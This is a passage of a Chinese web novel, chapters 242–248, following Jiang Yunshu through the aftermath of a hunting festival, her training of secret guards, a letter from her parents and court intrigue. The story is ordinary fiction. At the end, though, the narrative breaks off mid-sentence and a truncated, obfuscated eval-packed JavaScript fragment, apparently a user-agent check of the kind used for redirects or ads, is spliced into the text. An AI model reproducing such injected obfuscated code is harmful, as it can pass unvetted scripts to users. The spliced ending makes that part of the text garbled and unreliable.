这一场狩猎节,发生的事情很多,所谓的巧合也很多,姜云舒饶是若有思量,可总觉着考虑事情时遗漏了什么。 狩猎节提前结束,众人各自回营收拾东西。 这边姜云舒和月禾收拾东西,清点要带回的猎物,旁边黑鹰在和虎仔打闹。 要说这两个小东西,一个是天上的猛禽,一个是深林的兽王,此时却为了争夺让姜云舒抱,打得满帐篷上蹿下跳。 别看虎仔年纪小,却是却是个耍心眼的,它打不过黑鹰,就扒着姜云舒的腿,嗷呜嗷呜的地撒娇。 黑鹰伸爪子想将虎仔拽下来,可又不能靠近伤到姜云舒,气得在边上直扑棱翅膀。 两个小家伙打着打着,突然停了下来,一鹰一虎同时朝敞篷外的方向看去,两脸防备的将姜云舒护在身后。 见它们这反应,姜云舒也停下手中的动作,起身走至营帐门口,猛地掀开门帘。 第243章 断了念想 门帘突然掀开,外面的人吓了一跳,下意识往后退了一步。 “沈长元?你来这里做什么?”月禾眉头一皱。 这段时间,沈清安不知道是哪根弦搭错了,总来小姐面前刷存在感,如今他这儿子也一样阴魂不散,这对父子可真是属狗皮膏药的。 “我……” 沈长元往后退了一步,眼神闪烁,似乎一时间忘了要说什么。 姜云舒蹙了蹙眉,正要说什么,此时不远处有人走了过来,火把照亮之下,才看清楚原来是沈清安。 “这么晚了,沈大人有事吗?”月禾开口,言语之间带着嘲讽。 沈清安蹙了蹙眉,没有接月禾的话茬,转而看向姜云舒。 “这是长元自己猎到的兔子,他说你喜欢吃炙烤香兔,一定要带过来给你尝尝。” 说完,低头给沈长元一个眼神。 沈长元回过神来,紧忙将手里的东西往姜云舒跟前举了举。 姜云舒低头看一眼,却没有接。 “长元,你没必要这样的,你早知道的,我不是你娘,你若真有心的话,就把心思用在你自己的亲娘身上。” 姜云舒的声音很轻,可话入沈长元的耳朵,让他的脸色一下子低沉下来,瞬间满脸委屈。 沈长元站在边上也忍不住蹙了蹙眉,“孩子很辛苦才猎到的,他只是想让你尝尝。” 姜云舒深吸一口气,勉强撑着耐心,“我已经用过晚膳了,你祖母也很喜欢吃炙烤香兔,可以给她带回去,我与沈家已经没有关系,你还是将孝心用在自己的亲娘身上吧,珍惜现有的亲情。” 珍惜现有的,这句话是对沈长元说,越是对沈清安说的。 沈长元年纪虽小,却也明白姜云舒的意思,他五官皱在一起,眼睛泛红,小嘴倔强地抿着,片刻,他似乎想明白了什么,忽然将手里的纸包塞进姜云舒手里,转身就跑。 沈清安愣了一下,扭头看向姜云舒,眼底带着怒意。 “你竟然连一个孩子都要记恨吗?云舒,你怎么会是这样的人!” 口口声声质问,听起来像是受了多大的委屈,只是这样话听进姜云舒耳朵里,只剩嘲讽。 “沈大人觉着,我是什么样的人呢?心软,有求必应的滥好人?自回京之后,我的确做过不少善事,可我同样也是在战场淤血杀过敌的,我手上沾着血,你觉得我的心能软到哪里去?”姜云舒唇畔带着嘲讽。 沈清安以为他看到的便是他对自己的了解,可实际上,他对自己一无所知,是呢,一开始便是奔着骗婚来的,他是甚至连了解她的精力都不肯付出。 “我……” 沈清安半晌没有说出一个字来,扭头见沈长元跑远,索性拂袖追了过去。 姜云舒低头,看着纸包里的肉,是用她之前留在沈家的调料烤的。 “小姐,这些肉你……” “不用管。” 姜云舒淡淡应一声,随手将肉包扔在了门口。 虎仔问到味道,晃晃悠悠凑过去,谁知那爪子刚一扒拉就被黑鹰给啄了一口。 “嗷呜……” 虎仔可怜兮兮地叫了一声,扭头追着姜云舒进去,吭叽吭叽地去告状了。 翌日,回城的队伍早早便整装待发。 芷妃诞下皇嗣,皇上高兴,天蒙蒙亮时,回城号角吹响。 姜云舒没睡醒,被号角吵醒时,依旧带着几分起床气。 “小姐再忍忍,等一会儿列队清点人数结束,路上还能接着睡呢。” 月禾在一边哄着,“您瞧,清早谢世子还让卫临冲送了软垫子,便是山路再崎岖,马车里也能睡得安稳。” 姜云舒眼睛依旧沉重,听得月禾的话,瞥着眼睛朝那垫子瞄了一眼,眼睛倏地睁大了几分。 “这是……” 一条雪狐皮的垫子,看起来像是用了很多年的东西。 渊政王府老太妃向来注重面子,如今这狩猎节的场合上,定然不会用旧东西,而谢无烬虽出身军营,但自回京之后,也极尽奢华,送过来的东西应该不至于给旧的,难不成,这垫子是他随身所带之物? “哎呀,小姐您别看这垫子有些年头了,里面可是鹅颈的毛续上的,柔软得很,和夫人那条鹅绒雪狐的被子很像呢!”月禾见姜云舒蹙眉,忍不住插一句。 鹅绒雪狐被子…… 姜云舒一下子想起来,没错,娘是有一条和这材料很相似的被子,难怪她总觉着眼熟呢。 “给我吧。” 此时清点人数,准备出发,姜云舒接过垫子,抬脚上了马车。 回城队伍浩浩荡荡,一如之前狩猎节开始,自城门口到皇宫,百姓分列官道两侧迎接皇上和百官回城。 官员要先随着皇上的车队送到皇宫门口之后再能各自回家。 回城一趟,等回到县主府时,已经接近天黑。 将猎物交给郝管家处置后,姜云舒和薛神医便各自回到了自己的住处,这才得以安心歇息。 美美的洗了个热水澡,姜云舒正准备睡下,似是想起什么,又坐起了身。 “将之前谢无烬送过来的软垫给我拿过来。”姜云舒吩咐一声。 不知为何,回来一路上,她靠在那软垫上,竟睡得格外舒适。 姜云舒的睡眠向来不错,但这一次却是连梦都没有,醒来时,仿佛经脉都通畅了,整个人的精神都很好。 “是!” 月禾应着,转身去外屋拿,片刻回来时,将那软垫递给姜云舒时,一边闲聊。 “方才听外面人议论,说这次芷妃生产时还挺凶险,胎位不正,加上胎儿有些大,生产时,芷妃险些晕过去了呢。” 姜云舒接过软垫,听着月禾的话,神情一滞。 “宫中贵妃生产,不得对外宣扬,这消息又是怎么从公中透露出来的呢?” 且不说皇妃生产要保密,此时皇嗣还不足月,本也算是公中禁忌不得讨论,怎么这消息这么快就传开了? 经姜云舒这么一说,月禾也忽然意识到有些不对劲。 “按理说,若非赶上这次狩猎节,皇后娘娘本是要留守皇宫的,偏偏这个时候就生了,如今母子平安还好,若当时真有不测,这其中怕是没有那么简单。” 姜云舒一边说着,抱着软垫已经上了床,“外面那些传言就当故事听听,不必在意。” 说完,躺下,抱着那软垫子安详地闭上了眼睛。 月禾给她盖好了被子,转身往外走,出了院子便去吩咐县主府众人。 小姐的话已经很明确了,当故事听听也就算了,相关的言论断不可从县主府传出。 第244章 顶锅 又是一夜无梦。 翌日。 暖阳淡薄了春季的凉意,明媚洒落天地之间,似召唤一般,唤醒万物。 姜云舒这一夜睡得依旧很舒适,清晨起床时,早朝已经结束了。 吃了几天的肉,清晨小厨房专门做了一些清淡可口的饭菜。 姜云舒醒得晚,等准备收拾妥当时,薛神医已经去了炼药室。 正用着早膳,就听得外面郭攀一声通传,国公府世子来了。 “让他进……” 姜云舒一句话还没说完,裴钰已经抬脚进了月亮门。 “啧,以前在沈家也没这么多规矩,如今你自立门庭倒规矩多了!” 说话间,裴钰已经进了院子,抬头瞧见姜云舒和月禾正在用饭,肚子配合地“咕噜”一声。 “啧,谢世子这么急,可是紧着过来蹭饭的?” 月禾忍不住揶揄他一声,起身给他添了一双碗筷。 “吃你们一口饭,这小气劲儿!” 裴钰也不客气,接过筷子自行先吃了两口,这才说事儿。 “姜云舒,你是不知道,今日我爹回来跟我一说早朝的事儿,给我气得,饭都没来及吃便来找你了!” 裴钰年纪还小,如今虽领了职务,但上朝却是随皇上传召,平常朝中之事还都得从他老爹那边得到消息。 “这么着急,可是发生了什么事?”姜云舒停下筷子,抬头看他。 “说起来就生气,你猜怎么着,今日早朝,沈清安竟然被派任接管锦州水患,而且,还是升官接任的!” 说起这个,裴钰就一脸怒气。 什么都没做成的人,竟然还升官了? 相比裴钰的一脸气恼愤怒,姜云舒却是平静很多。 “沈清安毕竟治理岩城水患有功,夏季在即,多雨的季节,若控制不住锦州水患,到了夏季中旬,怕是京城都要被殃及。”她淡然开口。 裴钰的筷子停住,思量瞬间,接受了姜云舒的说法,可这件事依旧让人费解。 “说起来,以前朝中和沈清安相熟的官员并没有几个,今日却有好几个站出来为他说话,难不成,沈清安利用狩猎的机会,拉拢人心了?” 姜云舒眼皮微动,抬头看向裴钰,“可知道今早为沈清安说话的是哪几位?” “这个我爹倒是没有细说,等我回去问问的。” 裴钰回了一句,伸筷子夹菜,继续吃饭。 姜云舒点头,这时,月禾端着一盘点心送到跟前,刚到跟前,裴钰先伸手拿了一块。 姜云舒也伸手拿一块,低头咬了一小口,扭头问裴钰,“今日早朝,可有关于凤台山爆炸一事的定论?” “有!” 裴钰用力嚼了两下,道:“麒麟卫送上调查结果,最后拎出来的是军器监丞,据最后呈词,说是军器监丞想发私财,边偷偷从乾山运来雷土,就在三皇子筹备凤台山狩猎时,利用职务之便将那雷土藏在了山洞。” 话说一段,他伸手端起杯盏喝了一口,又继续,“最后审判,这军器监丞被撤职查办,三皇子因监管不力也被撤了军都指挥使司一职。” 姜云舒喝茶的动作一顿,挑眉哼一声,“这是他应得的。” 如今这般出发,对于三皇子来说,已经是最轻松的了,军器监丞顶了这个锅,他也不过是个失职的罪过,若真摆上明面,皇子私囤火药,罪同谋逆。 一起用过早膳,裴钰还要替国公夫人给庄夫人送东西过去,便匆匆离开。 姜云舒也让郭攀准备了马匹在门外等着。 “小姐,咱们是去仁春堂吗?”月禾问。 回来之前,韩掌柜禀报仁春堂新来的草药已经到了,只等姜云舒验看一翻才好入库。 姜云舒抬头看一眼头顶的阳光,摇摇头。 “药材验收不急,狩猎节多日,我们也该去万踪林看看了。” 虽说那帮人已经被赤羽卫磋磨了尖锐,但既成事者,总要有其锋芒。 暗卫要的不只是单打独斗的能力。 一炷香后,姜云舒和月禾准备妥当,两人两马自东城门离开,朝着万踪林的望向飞奔而去。 短短一个月,姜云舒再来时,暗卫队的训练已经逐步上了正轨。 赤羽卫本也是依照暗卫的要求训练,如今由他们再来训练暗卫队,依旧依照老将军的方式和步调来。 此时再见姜云舒,众人再没了一开始的轻视。 “参见县主!” 在肖璋的带领下,众人朝着姜云舒行礼。 姜云舒朝众人摆摆手,“雷统领挑选的人,果然不同凡响,短短半月,你们的成长已经超乎我的预期,今日晴天,阳光正好,不如我们再来试炼。” 说话间,姜云舒后退一步,“以我为阵眼,你们若能冲破赤羽卫布阵,最后能留下五人,便算你们赢,届时凤台山的野味管够!” 虽说万踪林也是深林丛生,其中水里游的,山上跑的,并不乏野味,但架不住凤台山上种类多,尤其土壤肥沃,养出来的野味尤其美味。 加之凤台山是皇家管控,其中野味可是平常人都尝不到的。 众人闻言,眸中都不由得多了几分兴奋。 一声口哨声响,姜云舒和月禾迅速在阵中散开,侍卫队依照赤羽卫的阵法,快速分开成六个小队。 万踪林神秘莫测,正是战场最佳选地,一开始,暗卫队还不明白为何一定要用军营的训练套路,可在几次试炼之后,他们对姜云舒的方案再没了争议。 试炼持续两个时辰,最终姜云舒和月禾回到原地时,除了肖璋还有另外五个人在试炼中“活”了下来。 这倒是出乎姜云舒的意料之外。 “县,县主,我们赢了!” 肖璋顶着一脸的泥,朝姜云舒咧嘴笑了一下,然后脱力的倒在地上,大口大口的喘着气。 其他五个人也跟着躺下,他们拼命的喘着粗气,嘴巴却是咧着笑。 “嗯,你们赢了。” 姜云舒走上前。 此时,其他在试炼中“死”了的众人也回来了,不等大家欢呼,姜云舒一声令下,众人列队站好。 眼见试炼之中众人的表现,姜云舒一一指出众人的不足,最后到肖璋,姜云舒脸色一沉。 第245章 他身上的烧纸味 “就目前阶段,你的个人能力无从挑剔,但作为队伍的领导者,你在布排和协调上还不够,赤翎一个人便能独挡你六个人的进宫,这便很能说明问题,你自己好好想想。” 作为队长,被赋予的责任更加重大,肖璋脸上的笑意收敛,认真的点了点头。 “是!” “好了,你们自己的问题,各自回去好好反应一下。” 说着,姜云舒转身,朝月禾摆摆手,“除了猎物,这一趟还带了我县主府厨子自己调制的烧烤盐料,今日的烧烤便在山涧边上吧!” “是!” 众人兴奋应声,三三两两跑着将姜云舒带来的猎物拎过来。 猎物是放在口袋里的,来时搭在姜云舒和月禾的马上,二十多只香兔和十几只弥羊,另外还有十来只山鸡。 虽说都是小型猎物,却也是普通人平日里尝不到的美味,一时间,众人各自分配工作,很快在山涧边上架起了烧烤的架子。 姜云舒站在一边看着,唇角微微勾起。 很快,烧烤的香味飘了出来,最先烤好的弥羊腿送到姜云舒跟前,姜云舒低头咬一口,紧接着在肖璋回去时,猛地一抬手。 原本还坐在山涧边上烧烤的赤羽卫迅速出手,暗卫队还没明白是什么情况,已经被赤羽卫拿下一半人。 另一半人也来不及吃什么烤肉,迅速反应朝着山涧跳了下去,然而,还不等游到出口,就被姜云舒和月禾联合一举拿下。 “上来。”姜云舒的鞭子指向水里的众人。 众人脸上带着挫败感,可也只能认命地叹气上来。 “县主,您这不是……你这算什么!” 大家折腾了半晌,肉都没吃上一口,突然就动手,要试炼也不给个信儿吗! “做暗卫的,除了你们的主子,你们眼中不可再容下其他人,哪怕那个人身份尊贵,哪怕他是你们主人信任之人。” 姜云舒抬手,收回长鞭,再看向水里众人,“自做了暗卫,你们便不会再有松懈之时,承受不住这份压力的,现在可以走。” 说完,她转身回到篝火处。 山涧处依旧传来哗啦哗啦的落水声,片刻,侍卫队回到岸上,依旧列队于原地。 没有人离开,也再没有人抱怨。 姜云舒抬眸看了众人一眼,拿起刚才的弥羊腿。 “你们用不着感觉辛苦,别说身负重任的暗卫,便是在战场上,将士们吃饭睡觉也都是武器不离手,尤其是半夜,试炼时突击查验,但凡被夺了兵器的便是十军棍。” 被选出来的侍卫队就个人素质的确很强,但他们缺少实战和使命感,这一点,并不急。 众人站在边上不说话,但眼神却在姜云舒的字字句句中有了变化。 晌午过后,姜云舒给赤羽卫和暗卫队布下了任务,赶着日落西山之前离开万踪林。 不得不说,万踪林的确神秘,即便来过多次,可天黑之前,这树林的枝叶分布会有变化,而且,还会在天黑之后升起谜障,到时就连月亮和星星都看不见,分辨方向更为艰难。 自万踪林离开,姜云舒和月禾一路朝着城门方向奔驰,临近城门时,前面远远看到一辆装潢精美奢华的马车。 这马车看起来眼生,姜云舒并没有见过,但从装潢和旁边侍卫配备上来看,身份不低。 “小姐,咱们是要跟着还是超过去?”月禾朝姜云舒看一眼。 骑马的速度自然要比马车快,但眼看着就到了城门口,若是前方身份高贵,她们便不能超越。 姜云舒眯着眼睛朝前面看,还没说话却见那马车似乎放慢了速度。 “这是……在等我们?”月禾一脸惊诧的看向姜云舒。 “过去吧。” 姜云舒说完,抬手拉了一把缰绳,朝着那马车奔了过去。 到了跟前,车帘掀开,里面探出一个熟悉的面孔,竟是斯羽。 “姜姑娘,又见面了。”斯羽歪着头,朝姜云舒笑了笑。 “斯公子。” 姜云舒点头回礼,“这么晚了,斯公子刚回来?” 本事随口寒暄的一句,斯羽眼中却极快地闪过一丝微妙,随即又恢复平常的温和。 “是,王爷陪我去了崇光寺礼拜,毕竟是国之大寺,停留的时间便久了一些。” 斯羽眼中闪过的微妙变化很快,却还是被姜云舒精准的捕捉到了,不过,此时让她更在意的是,马车里还有敬王。 “参见敬王殿下!”姜云舒紧忙行礼。 “免礼。” 敬王低沉的声音自马车里传来。 他的视线透过车帘在姜云舒身上扫过,依旧是那般沉冷的语调开口,“这么晚了,你这是从万踪林回来?” 姜云舒顿了一下,回答,“是清风村,清风村百姓在万踪林下游种植了草药,近日多雨,我便去看看情况。” 当初选择在万踪林训练暗卫队时,为了掩人耳目,姜云舒便顺手在和清风寻连接的流域种植了一片药草,为的便是应对如今这种情况。。 “哦?” 敬王挑眉,审视的视线在姜云舒身上扫过,哼笑一声,“你还会药草?” “是,京城繁荣街仁春堂便是我名下药铺,对于药草还是懂一些的。”姜云舒应答自如。 “哼,你倒是什么都能行,你既然这般能耐……” “王爷!” 眼看着敬王又要阴阳怪气,斯羽紧忙拉了他一把,抬手从车里朝姜云舒递出一张请帖,“下月初靖王府设宴,届时姜姑娘可一定要来。” 设宴? 敬王多年未在京城,如今回来的确要设接风宴的。 “好。” 姜云舒轻拉缰绳凑近马车,接了请帖。 斯羽朝姜云舒点点头,坐回了马车,随着车夫扬鞭,马车便朝着城门口奔了过去。 “这敬王真是一点气度都没有,何苦逮着小姐看不顺眼。”月禾没好气地朝将王府的马车瞪一眼。 论年纪,算得上是长辈了,长辈就这气度,跟小辈过不去? 姜云舒也同样看着靖王府的马车,眉头紧紧地拧了起来。 她倒是不在意敬王看她不顺眼,让她在意的是,刚才凑近去接斯羽的请帖时,她从斯羽身上清楚的闻到了一股浓烈的烧纸味道。 若是上香祈福,身上沾染的应该是香味,他做了什么会染上这么浓烈的烧纸味道? 第246章 崖州来信 眼看着天色逐渐沉了下来,姜云舒和月禾拉紧缰绳朝着城门奔去。 进了城,姜云舒并未着急回县主府,而是先去了仁春堂。 韩掌柜正在清算一天的进项,见姜云舒回来,紧忙迎过来。 “东家,你来了。” 说着,韩掌柜将药材的账簿送到姜云舒跟前。 姜云舒随着韩掌柜去了库房,等清算时,伙计们退出去,韩掌柜又从怀里掏出一封信。 “东家,这时崖州来的信。” 姜云舒一顿,扭头看到信,眼睛里顿时闪过一抹光芒。 她接过信,坐在桌边,就着韩掌柜端过来的油灯,细细的看。 是母亲的手笔,心中提及他们在崖州的近况。 自上一次遇袭之后,他们身边增加了护卫,其中,还有渊政王府的暗卫,提及渊政王府,母亲还隐晦地提到了谢无烬,交代姜云舒不要与谢无烬冲突。 姜云舒看着,忍不住叹一口气,原本,她也以为谢无烬来京之后,他们之间会有冲突,可如今他们之间唯一的冲突便是在那土坑里被谢无烬咬破了嘴唇。 除了崖州的近况,母亲还提及京城近日恐怕多有变动,提醒姜云舒静观其变,不要轻举妄动,自己的女儿,没有人比唐将军更了解姜云舒,即便他们为她安排了安逸的生活,又叮嘱她不要调查通敌一案,但以她的性子也一定不可能什么都不做。 姜云舒看着信,眉梢压制不住轻挑。 父母远在崖州,他们怎么会知道京城的动向? 看来,父母在京中也并非没有暗桩。 想到这里,姜云舒稍稍松一口气,此时韩掌柜端过来笔墨纸砚,姜云舒提笔写了回信。 她禀报了自己在京中的近况,对于她和谢无烬之间,只提及相处融洽,至于这“融洽”的程度,自由他们自己揣。 汇报完自己的情况,她下意识想问在沈清安暗室之中发现的图徽,可正要下笔,忽然想起父母叮嘱她不许插手调查,犹豫了一下,还是没写。 写好了回信交给韩掌柜,韩掌柜接过信,转而又递给姜云舒一个包裹。 “这是咱们商队从崖州带回来的东西,大公子的侍卫给送出来的。” “肯定是我娘让大哥给我的。”姜云舒面上顿时多了一丝兴奋。 她接过包裹放在桌上,小心翼翼拆开那包裹,其中还分出了三个小包,最大的一包打开,是孩童的小衣服,虎头鞋,还有虎头帽,旁边的小包裹是一些木雕的玩具和木剑,看来都是给稚儿的。 姜云舒小心翼翼的将包裹又系上,她笑着,可是心里还是难免有些失望。 “爹娘和大哥肯定很想见稚儿。” 她一边说着,又打开最后一个小包裹,里面玄色的丝绒料子现出,竟然是一双护膝。 姜云舒眼皮一颤,抬手将那护膝拿出来,细细的看着针脚,眼圈一下子就红了。 “是娘的手艺。”她鼻腔有些涩。 虽然不及那些绣娘的手艺精细,却是娘一针一线给她做的。 娘一直记着,她的膝盖受过伤,不能受凉,此时天气已经暖和起来,定然是娘在初冬时做的,只是一直没有机会送出来,才拖延了这么久。 那护膝很软,上面似乎还留着娘的味道,姜云舒抱着呼吸深吸一口气,正感受着她娘的气息,此时外面传来小二的通报,裴世子来了。 姜云舒顿了一下,将包裹收好,转身出了藏药室。 此时裴钰正在二楼雅间喝茶,见姜云舒进来,朝她摆摆手。 “怎么这么慢?” “收到了崖州送来的东西,正在看。” 姜云舒抬手,将包裹放在桌上。 “崖州来的?” 裴钰眼睛一亮,伸手去拿,却被姜云舒一巴掌拍开,“都是给稚儿的东西,别给弄坏了。” “切!真小气!” 裴钰撇了撇嘴,将杯盏放在桌上,“算了,不跟你计较,我过来是告诉你,我问过了,当时在朝堂上推举沈清安加官任职的几位,分别是太史监宋天正,补兵阆中赵宏显,还有吏部员外郎李明德,最后一位,你猜是谁?” 他故意卖个关子。 姜云舒抬头朝他瞥一眼,将跟前的点心碟往他跟前一推,“快点说。” “啧,你这人,真没意思!”裴钰抬手拿了一块点心,道:“是平阳侯。” “平阳侯?” 姜云舒平静的神色终于有了变化,“这几个人里,三皇子党和六皇子党都有,平阳侯向来不参与党争,这些人一同为沈清安说话,这其中细想下来……” “你是觉着,这些人和沈清安背后之人有所关联?” 裴钰的神情也跟着沉了下来,“之前你说敬王身边那斯羽身上的图案和之前从沈清安密室里找到的徽章图案相仿,难不成,这背后之人是敬王?” “还不能确定。”姜云舒沉沉的舒了一口气,“不得不承认,沈清安在拉拢人心上,的确有几分本事,而他在岩城的政绩也拿得出手,如今锦州水患治理派他去,倒也合情合理。” 这件事,从沈清安的政绩,朝中局势考量,还是从事宜的紧张程度来看,此时派遣沈清安前往锦州的确合情合理,可在这合情合理之后,姜云舒总觉着有什么不对劲。 “对了,还有一件事。” 裴钰似是又想起什么,将水杯往桌上一放,一脸人认真看向姜云舒。 “自沈清安昨日任职离京之后,沈府周边便出现了几个人,那几个人游荡在沈府周边,从他们的脚步和体态动作来看,武功应该不低。” 姜云舒喝茶的动作一顿,挑眉看向裴钰,唇角微勾。 “没什么奇怪的,眼看恭王府就快要到京城了,他们一来,高芝兰母子就得消失。” 裴钰楞了一下,也忍不住嗤笑出声,“之前你还在沈家时,这高芝兰上蹿下跳费尽心机争那沈家夫人的位置,最后却落得这样一个下场,是该说她可怜还是活该呢?” “与我无关。” 姜云舒低头抿了一口茶,又跟裴钰叮嘱一声,“你安排几个人盯着点,别让高芝兰死。” “啧,你还真可怜她?”裴钰一脸不情愿。 “我从不可怜任何人,但是高芝兰有用。”姜云舒挑了挑眉。 第247章 朝中变动 “行吧,你总有你的安排。” 此时茶也喝完了,裴钰放下杯盏就要离开,却被姜云舒喊住。 “听说老太君的心悸犯了,需要用幽冥山血灵芝做药引,正好荣三爷人在京城,我便让他从药王谷调来了一支,你便带回去吧。” 说着,姜云舒起身从隔间拿出一个盒子,打开,里面是一直封存好的血灵芝。 “这……” 裴钰瞪大眼睛看向姜云舒,“高太医说,这幽冥山血灵芝百年才得一株,便是药王谷也没有几株,你怎么……” “东西再贵重,总有个价格,亲人是无价的,老太君平日里很疼我,如今她身子不爽,算我尽尽孝心。”姜云舒说着,将灵芝推到裴钰跟前。 裴钰看看姜云舒又看看那灵芝,抬手接了过来,“得,既然是给祖母的,那我便不跟你客气了。” 姜云舒送裴钰离开,转身拿过母亲做的护膝,贴在胸口上。 是啊,亲情是不能用银钱衡量的。 凤台山私囤****,三皇子因监管不力被撤职,赶着芷妃诞下龙嗣,乃京中大喜事,皇上将城守尉的职务交给了谭秉白。 月禾进来禀报时,姜云舒正在喝茶,闻言面上并未有任何惊讶之色。 “信阳侯早就盯着城守尉这个位置了,如今趁着芷妃平安生子之际,这位置自然是手到擒来。”姜云舒说着,低头抿一口茶。 月禾收拾着放在一边的账本,随口道:“说起来,咱们这一次还算是帮了信阳侯一把,只是,这样一来,皇上会不会怀疑咱们靠拢六皇子?” 凤台山一炸,三皇子丢了职位,暗中朝局涌动,朝中势力便悄无声息的偏向了六皇子。 即便姜云舒并不是有意,可事情却是在无形之中偏向了一方,皇上向来多疑,难免要从中揣测。 若是平常,姜云舒恐怕要思量平衡之策,可这一次,她却没有丝毫紧张。 “不会,皇上更明白,这一次我帮三皇子更多,至于城守尉一职,皇上心中不止谭秉白一个人选。” 说着,她放下杯盏,起身,“月禾,随我去一趟清风村吧。” “是!” 月禾转身将账册放在格子抽屉里,上了锁,随着姜云舒往外走。 天气逐渐转暖,清风村百姓的生活也逐步走上了正轨,在村长郭长友的带领下,百姓种下了粮食,准备自给自足。 如今姜云舒又开辟出几片良田用来种植本地药草,等到了夏季中旬,百姓便可有了进项。 半个时辰后,清风村。 听得马蹄声,百姓抬头瞧见是姜云舒和月禾,放下手中锄头便迎了出来。 “县主来了,是县主来了!” “参见县主!” 百姓齐齐朝姜云舒奔来的方向下跪迎接。 “吁……” 姜云舒拉住缰绳,朝百姓摆摆手,“不必多礼,快起来吧。” 说着话,她翻身下马,抬头看向刚才百姓劳作的方向。 此时初夏,之前种下的药草已经长出了一截,加上近日雨水浇灌,看起来长势不错。 “依照这般长势,下个月便可有收成了。”郭长友一脸兴奋过来禀报。 这时清风村的第一笔收入,也是大家终止灾民身份重新开始的底气。 “嗯,等药材收成,届时我会将银子依照每家人数分发下来,大家手里有了银子有了粮,才算是踏实在此安家。”姜云舒看向众人。 当初安置灾民,是以收留的名义,就连房屋也是临时分组安置,如今这两个月来,在赵令海的协助下,清风村已经形成村落模式,每家都有各自的房屋,再有了收成,才算是真的落了根。 “多谢县主!多谢县主!” 众人跪地欢呼。 许是这边动静太大,片刻功夫,赵令海带着巡卫队就过来了,一看是姜云舒,忍不住苦笑一声。 “县主过来怎的也不知会一声?” 说着,赵令海往姜云舒跟前走进几步,压低了声音,“最近我可是得了一坛好酒,就等着县主来时开坛畅饮呢。” “我 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近日倒是听裴钰提及凉州兵乱的消息,但皇上也并未下旨派兵增援,庄太师向来顾全大局,应该不至于为了庄心妍强行派兵。 除非,韩昀是私自调兵,庄太师要保住韩昀,只能批准他率领小队探底。 “今日我还有事,怕是不能久留,你那好酒给我留着,等下次过来,我定陪你畅饮一翻。” 姜云舒扭头跟赵令海道。 “唉,知道县主忙,行吧,下次来可一定别急着走了。”赵令海道。 姜云舒点头,从赵令海这边离开,随着郭长友拿了这两个月的账册,便急匆匆回城。 凉州和崖州临近,恐怕韩昀调兵没那么简单。 姜云舒和月禾一路朝着京城狂奔,眼看要入城门官道,此时旁边支路快速行来一辆马车。 这马车姜云舒认得,是护国将军府的马车。 果然,正想着,就见车帘掀开,霍凌霜从里面探出头来。 第248章 三皇子,欲擒故纵 “姜云舒?怎么哪里都能遇上你,还不快闪开。” 霍凌霜的语气有些急躁,说话间,马车已经拐到了官道上。 姜云舒下意识拉紧缰绳,下一瞬,马车便擦着边从她身边经过。 “喂,你是故意的吧,官道上竟敢横冲直撞!” 月禾在后面喊了一声,然而,马车早已经朝着前面奔了出去。 “什么人啊,这么着急赶着投胎去吗!” 月禾没好气朝着霍凌霜的马车瞪了一眼。 姜云舒也看向那马车飞奔的方向,微微蹙眉,“看方向,那马车是从白云观回来……” “白云观?最近也不是什么上香的日子,她去白云观做什么?还着急忙慌的。”月禾依旧没好气,说着又朝马车离开的方向撇撇嘴。 姜云舒眯着眼睛思量须臾,道:“荣三爷,还在白云观。” “荣三爷……啊,难不成,霍凌霜是去为庄锡恒求药的?”月禾恍然。 庄锡恒的胳膊缺了一块肉,被薛神医判定不能再提剑,这对于庄锡恒来说,比杀了他还要难受,霍凌霜那么喜欢他,自然要想尽办法帮他治疗。 巧妇难为无米之炊,薛神医不能平白生肉骨,那她便找来能生肉骨的仙药。 “虽说药王谷的确有肉白骨的龙骨,但那可是药王谷的镇谷之宝,怎么可能会给她呢!”月禾撇撇嘴。 看霍凌霜刚才的表情,应该也是没能求到药的。 “和我们无关,不必理会。” 姜云舒随口应一句,拉紧缰绳朝着京城奔去。 刚进城,郭朝远远迎了过来。 “小人参见县主。”郭朝上前行礼。 “不必多礼。” 姜云舒拉住缰绳,看向郭朝,“你是来这里迎我?可是家中老母出了什么事儿?” “没有,我娘好着呢!” 郭朝扬起脸朝姜云舒咧嘴笑,随即抬手将一块玉牌递到姜云舒跟前,“是三皇子命属下在此等候,待县主回城,请县主前往万宝楼一叙。” 三皇子? 姜云舒低头在那令牌上扫了一眼,却并没有接。 “你还将这令牌送回去吧,三皇子若有重要事务,尽可来县主府找我,万宝楼那种地方,并不是适合谈事。” 说着,她猛地拉紧缰绳,双腿夹住马肚子,直朝城中奔去。 郭朝拿着令牌,一时凌乱,此时,正站在暗处的三皇子,无声地勾起唇角。 “把令牌给孤吧。”三皇子上前。 郭朝猛地转身,双手托着令牌送到三皇子跟前,“属下办事不利,县主……” 话还没说完,手中令牌被三皇子拿走,随即翻身上了旁边停靠的马背上,朝着姜云舒离开的方向追了过去。 郭朝站在旁边,一脸不解地蹙起眉头,三皇子和县主这是打的什么哑谜? 他想不明白,姜云舒却已经将三皇子的心思摸了个大概。 就在刚才她停下时,眼看到城门角落处,城守卫队长正牵着一批纯黑色的马,那马**色黑亮,马鞍精致华丽,一眼便能认出,那是三皇子的坐骑。 有什么事儿直接说,耍什么欲擒故纵! 知道三皇子在后面跟着,姜云舒和月禾并未回县主府,而是拐了个弯儿去了明月楼。 此时正是明月楼客满的时候,掌柜见姜云舒来,紧忙迎了出来,只是热情之中还带着一丝尴尬。 “哎哟,县主,您可好些日子没来了。”掌柜满脸堆笑地迎了过来。 “是啊,我以为明月楼不喜欢接待我呢。”姜云舒挑眉看向掌柜,忍不住揶揄他。 “哎哟,县主可饶了我吧。” 掌柜紧忙求饶,“您也知道,我就是个干活的,主家的吩咐,咱可不敢违抗,再说了,您进门时我可给您提醒了,县主可不能冤枉好人。” 之前渊政王府元太妃让姜云舒来明月楼训话时,上楼的功夫,万掌柜的确提醒了一句,姜云舒看出来了,却并未回应。 “是吗,我怎么不记得?”姜云舒依旧得理不饶人。 万掌柜心中暗自叫苦,可也知道她在东家心里是个什么位置,只能哄着。 “这样,今日明月楼出了新品,我这就让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 